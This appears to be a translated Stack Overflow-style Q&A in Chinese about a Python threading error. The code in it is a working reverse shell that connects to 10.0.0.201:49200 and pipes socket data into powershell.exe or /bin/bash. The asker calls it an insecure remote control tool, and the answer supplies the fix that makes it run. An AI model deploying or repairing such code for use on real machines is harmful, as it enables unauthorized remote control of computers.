子进程Popen.stdin.write导致AttributeError

时间:2017-06-04 20:16:44

标签: python file subprocess

我正在开发一个简短的原生(不推荐外部[非本机]模块,如pexpect),跨平台,不安全的远程控制应用程序用于python(Windows将使用py2exe和exe文件)。我正在使用start_new_thread进行阻塞调用,例如readline()。然而,出于某种原因,我将这串丑陋作为我的输出:

Unhandled exception in thread started by <function read_stream at 0xb6918730>Unhandled exception in thread started by <function send_stream at 0xb69186f0>
Traceback (most recent call last):

Traceback (most recent call last):
  File "main.py", line 17, in read_stream
    s.send(pipe.stdout.readline())
AttributeError  File "main.py", line 14, in send_stream
    pipe.stdin.write(s.recv(4096))
AttributeError: 'NoneType' object has no attribute 'stdin'
: 'NoneType' object has no attribute 'stdout'

这是我的程序(main.py):

#!/usr/bin/env python
import socket
import subprocess as sp
from thread import start_new_thread
from platform import system

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.0.201', 49200))
shell = 'powershell.exe' if system() == 'Windows' else '/bin/bash' # is this right?     
pipe = sp.Popen(shell, shell=True, stdin=sp.PIPE, stdout=sp.PIPE, stderr=sp.PIPE)
entered_command=False
def send_stream(): # send what you get from command center
        while True:
                pipe.stdin.write(s.recv(4096))
def read_stream(): # send back what is returned from shell command
        while True:
                s.send(pipe.stdout.readline())
start_new_thread(send_stream, ())
start_new_thread(read_stream, ())

感谢您的帮助。

1 个答案:

答案 0 :(得分:0)

事实证明,问题是程序试图在两次start_new_thread调用之后退出,因为它已经到达终点,并在尝试这样做时导致错误。所以我换了:

start_new_thread(send_stream, ())
start_new_thread(read_stream, ())

使用:

start_new_thread(send_stream, ())
read_stream()